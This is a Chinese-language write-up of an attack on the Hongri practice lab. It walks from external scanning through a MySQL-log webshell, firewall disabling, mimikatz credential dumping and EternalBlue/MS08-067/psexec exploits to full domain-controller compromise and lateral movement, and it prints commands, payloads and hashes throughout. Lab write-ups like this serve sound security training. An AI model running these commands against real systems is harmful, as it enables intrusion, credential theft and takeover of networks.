红日靶场1打靶记录
红日靶场1
环境搭建
网络拓扑
网卡配置
这三台虚拟主机默认开机密码都是 hongrisec@2019(有的会提示密码已过期,更改为 Qwer1234 即可)
服务配置
在 Win7 外网服务器主机的 C 盘找到 PhpStudy 启动 Web 服务(模拟外网 Web 站点)
外网打点
信息收集
nmap扫描目标网段
nmap -sn 192.168.162.0/24
发现192.168.162.133主机存活对192.168.162.133主机进行端口扫描
nmap -sS -Pn --min-rate 1000 -p- 192.168.162.13380端口开放http服务,可能存在web漏洞
445端口开放,可能存在永恒之蓝
3306端口开放mysql服务,可能存在空口令/弱口令连接漏洞
135端口开放rpc服务,可以来信息收集
漏洞探测
永恒之蓝(ms17-010)漏洞探测
msfconsole use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.162.133 run
存在永恒之蓝漏洞尝试匿名/弱口令直连mysql
3306 端口直接暴露在内网中,常见配置错误通常是 root 空口令或弱口令。
mysql -h 192.168.162.133 -u root -p输入回车测试是否为空口令;
如果失败,尝试少量常见弱口令(如 root、123456、testing 等)
MySQL 因来源 IP 限制无法连接web服务漏洞探测
浏览器访问
发现是phpinfo界面
关键信息网站绝对路径 C:/phpStudy/WWW目录扫描
dirsearch -u http://192.168.162.133 --wordlists= /usr/share/wordlists/dirb/common.txt gobuster dir -u http://192.168.162.133 -w /usr/share/wordlists/dirb/common.txt- 发现备份文件,下载并解压beifen.rar文件夹,发现一个网站目录yxcms
尝试访问/yxcms
访问成功并发现信息泄露后台地址:http://192.168.162.133/yxcms/index.php?r=admin 用户名:admin 密码:123456登录后台
成功登录
发现使用的是yxcms1.2.1版本上网搜索该版本的漏洞
yxcms1.2.1存在后台任意文件上传getshell
参考文章:https://www.cnblogs.com/vivovox/p/14310839.html
https://mdr.skyeye.qianxin.com/forum/share/164
- 发现/phpMyAdmin
- 尝试访问/phpMyAdmin
- 尝试弱口令
root:root成功登录 - 探测是否可以利用全局日志写入webshell
执行sql语句查看当前用户权限
SHOW GRANTS FOR CURRENT_USER();
当前数据库用户是 root@localhost,并且被授予了 GRANT ALL PRIVILEGES ON.(所有数据库的所有权限)执行sql语句查看数据库版本
SELECT VERSION();
版本为5.5.53,可以支持动态修改日志变量执行sql语句查询日志的当前状态和路径,判断是否具备开启条件
SHOW VARIABLES LIKE '%general%';general_log为OFF,执行以下语句将其开启:SETGLOBALgeneral_log='ON';查询日志输出格式是否为file(如果是 TABLE 或 NONE,日志不会写入文件,写入方法就会失效)
SHOW VARIABLES LIKE 'log_output';已基本达到利用要求(对web目录是否有写入权限需要实际写入验证)
- 发现备份文件,下载并解压beifen.rar文件夹,发现一个网站目录yxcms
漏洞利用
永恒之蓝漏洞利用
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.162.134 set LPORT 4445 run利用成功但是没有获得会话,应该是防火墙的问题
yxcms文件上传漏洞利用
在前台模版->管理模版文件->新建(或者编辑已有文件)
目录扫描找到刚刚添加的shell.php的路径
dirsearch -u http://192.168.162.133/yxcms/ gobuster dir -u http://192.168.162.133/yxcms/ -w /usr/share/wordlists/dirb/common.txt
先访问一下http://192.168.162.133/yxcms/robots.txt
http://192.168.162.133/yxcms/protected/apps/default/view/default/shell.php蚁剑连接
数据库全局日志写入webshell利用
- 将日志文件重定向至 Web 目录
SET GLOBAL general_log_file = 'C:/phpstudy/www/shell.php'; - 执行包含一句话木马的sql语句
select <?php @eval($_POST['a']) ?>; - 尝试web访问该文件
可以访问到 - 尝试蚁剑连接
连接成功
- 将日志文件重定向至 Web 目录
提权
关闭防火墙
netsh advfirewall set allprofiles state off ``` 再次尝试永恒之蓝上线msf
成功上线
system高权限cs上线
- 生成木马并上传给目标机器并在system权限的会话中运行
成功上线且是system权限
- 生成木马并上传给目标机器并在system权限的会话中运行
内网渗透
信息收集
手工信息收集
查看本机信息
查看主机名hostname
该主机为stu1
查看网卡ipconfig
发现内网网段192.168.52.0/24whoami /all查看域信息
net user /domainnet group "Domain Computers" /domainnet group "Domain Controllers" /domainping OWA ping dev1 ping ROOT-TVI862UBEH
工具收集内网信息
- 上传fscan进行扫描
fs64.exe -t 192.168.52.1/24 - 使用mimikatz抓取密码、哈希
- 信息汇总
domain:god.org domain sid:S-1-5-21-2952760202-1353902439-2381784089 OWA$(DC):192.168.52.138:[80 88 135 139 445](Windows Server 2008 R2) ROOT-TVI862UBEH$(域内另一台主机):192.168.52.141: [21 135 139 445 7001 7002 8098 8099](Windows Server 2003) Administrator密码:Qwer1234 Administrator NTLM哈希:91ff0fb948167eb4d080b5330686c02f
配置代理
在msf中添加通往192.168.52.0/24的路由
run autoroute -s 192.168.52.0/24开启代理模块
use auxiliary/server/socks_proxy set SRVPORT 1082 set VERSION 5 run -j
漏洞探测
- fscan扫描结果
- 138主机和141主机都显示存在永恒之蓝
- 141存在ftp匿名登录
漏洞利用
尝试利用Windows Server 2003 的永恒之蓝
use exploit/windows/smb/ms17_010_psexec set RHOSTS 192.168.52.141 set PAYLOAD windows/meterpreter/reverse_tcp run
还是漏洞利用成功但是没获得会话,应该还是防火墙的原因尝试利用Windows Server 2008 的永恒之蓝
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.52.138 set LPORT 4445 run
依旧失败尝试利用141的ftp匿名登录
ftp 192.168.52.141 21 anonymous 密码留空
成功匿名登录141主机的ftp服务
但是没有什么权限前面抓密码已经获取域管的明文密码,尝试psexec远控
proxychains4 impacket-psexec god.org/Administrator:Qwer1234@192.168.52.138
成功远控域控且为最高权限利用msf中的psexec模块上线域控
use exploit/windows/smb/psexec set RHOSTS 192.168.52.138 set SMBDomain god set SMBUser Administrator set SMBPass Qwer1234 set PAYLOAD windows/x64/meterpreter/bind_tcp set LPORT 4444 run
利用失败,一个是防火墙原因
关闭防火墙netsh advfirewall set allprofiles state off再次利用msf中的psexec模块就成功上线域控
成功上线msf上线cs
- 生成正向连接木马上传给owa并运行
- 在cs上通过跳板机连接owa
- 生成正向连接木马上传给owa并运行
横向移动
信息收集
- 先在域控上抓一下密码
krbtgt:58e91a5ac358d86513ab224312314061
漏洞探测
141是server2003老版本操作系统,可能存在ms08-067
使用nmap脚本进行漏洞探测
proxychains4 nmap -p 445 --script smb-vuln-ms08-067 192.168.52.141
显示存在漏洞可以加以利用
漏洞利用
使用msf上线141
use exploit/windows/smb/ms08_067_netapi set RHOSTS 192.168.52.141 set PAYLOAD windows/shell/bind_tcp set LPORT 5555 set TARGET 0 run
不知道为什么没获得会话再次尝试psexec
proxychains4 impacket-psexec god.org/Administrator:Qwer1234@192.168.52.141
成功获得shell对该主机进行一波信息收集
systeminfo
32位操作系统利用msf中的psexec模块上线141
use exploit/windows/smb/psexec set RHOSTS 192.168.52.141 set SMBDomain god set SMBUser Administrator set SMBPass Qwer1234 set PAYLOAD windows/meterpreter/bind_tcp set LPORT 4444 run成功上线
上传木马文件上线cs和msf
生成msf的木马
msfvenom -p windows/meterpreter/bind_tcp LPORT=4446 -f exe -o bind_32.exe上传木马
shell copy C:\bind_32.exe \\192.168.52.141\c$\Windows\Temp\32.exeuse exploit/multi/handler set payload windows/meterpreter/bind_tcp set LPORT 4446 set RHOST 192.168.52.141 run
再试一下建立IPC$连接(在刚刚拿下的win7跳板机beacon中执行)
net use \\192.168.52.141\ipc$ "Qwer1234" /user:god.org\Administrator
建立连接成功注意生成的木马要是32位
复制木马到141主机
copy C:\bind_32.exe \\192.168.52.141\c$\Windows\Temp\32.exe
上传成功运行木马
wmic /node:192.168.52.141 /user:god.org\Administrator /password:Qwer1234 process call create "C:\Windows\Temp\1.exe"换成在psexec的shell中运行
应该是运行成功了
cs连不上换在msf的会话运行
这次就可以连接成功了再试试计划任务
at \\192.168.52.141 20:33 "C:\Windows\Temp\86.exe"
遇到的问题
搭建环境时给win7配置web服务,phpstudy启动时报错
原因
phpStudy 试图在任务栏通知区域(系统托盘)创建图标时失败了。
系统托盘(通知区域)由 explorer.exe 管理,如果它卡住了,图标就可能创建失败。解决方法
按 Ctrl+Shift+Esc 打开任务管理器,找到“Windows 资源管理器”,右键选择“重新启动”。如果找不到这个选项,可以结束 explorer.exe 进程,然后点击“文件” → “运行新任务”,输入 explorer 回车。
此时再运行phpstudy就不会报错了
web打点时死活扫不出有用的目录或文件
原因
后来我看网上的wp发现应该有一个beifen.rar文件,但是我的爆破文件里面没有这个条目导致没扫出来
解决方法
- 使用更大更全的爆破文件
- 手动尝试一些可能的备份文件名或路径名等,如(beifen.rar)
利用ms08-067时把目标机器打崩了但是没获得会话
需要重置一下虚拟机要不然后面搜所有针对该主机的操作都没用了
打windows2003时使用wmic创建进程运行木马时报错
原因
wmic 远程执行依赖 RPC(远程过程调用),它并不只走一个端口。典型的流程是:
先连 TCP 135(RPC 端点映射器)问路。
端点映射器返回一个动态高位端口(通常 1024-65535 范围)。
再连这个动态端口进行实际通信。
在已控机器上发起wmic命令,目标机器 192.168.52.141 虽然本机防火墙停了,但网络路径上可能存在其他防火墙或策略,拦截了 135 或后续的动态端口,导致 RPC 握手失败。
打windows2003时用msf的psexec模块上线时失败了
原因
payload设置错误,该windows2003为32位,需要设置payload为windows/meterpreter/bind_tcp而不是windows/x64/meterpreter/bind_tcp
在psexec的shell中运行cs正向木马,cs不能上线成功
原因
上传的 86.exe(CS 正向木马)虽然进程活着,但彻底“假死”了,根本没有在监听端口。
根本原因
环境问题(Session 0 ),用 psexec 弹出来的 shell,是在 Windows 服务会话(Session 0)里运行的。CS 的 Bind 木马在开发时,往往依赖某些用户级别的网络 API 或内存环境。在 Session 0 这种没有完整交互桌面的环境里,它一启动就卡在了初始化阶段,所以内存才那么一丁点。解决方法
- 用 MSF 会话的shell 运行木马
利用计划任务运行木马也不能上线cs
原因
计划任务同样在 Session 0 里跑:
SYSTEM 账户的设计限制:SYSTEM 账户在 Windows 中是一个服务账户,它没有交互式登录权限。因此,以 SYSTEM 权限运行的程序,默认就是在后台(Session 0)运行的,无法显示在任何用户的桌面上。
计划任务的默认行为:如果没有额外指定“仅当用户登录时运行”并配合交互式参数,通过 schtasks 创建的任务,只要是以 SYSTEM 身份运行,就会在 Session 0 中执行。
Windows Server 2003 的特殊性:虽然 Win2003 的 Session 0 和 Vista 之后“隔离”的概念不完全一样(在 2003 里 Session 0 就是控制台会话),但通过 SYSTEM 计划任务启动的进程,依然是在服务上下文里,而不是在(或任何用户)交互式桌面窗口站里。这和之前用 psexec 启动木马时,进程运行在 Session 0 是同一个道理。
在 Windows Server 2003 上,通过远程 at 命令创建的计划任务,默认仍然是在 Session 0(服务会话)中运行的,并不会因为用了计划任务就自动跳到交互式的 Session 1。所以 CS 木马面对的“无交互桌面环境”和 psexec 时是一样的。
CS 的 Bind 木马对老系统兼容性差:CS 生成的 Bind TCP 木马,在 Windows Server 2003 这类老系统上,如果运行环境不完整(缺少某些桌面或网络初始化条件),它可能直接卡住,连 bind() 都不会执行。进程存在但端口没开,这就是典型的“假死”。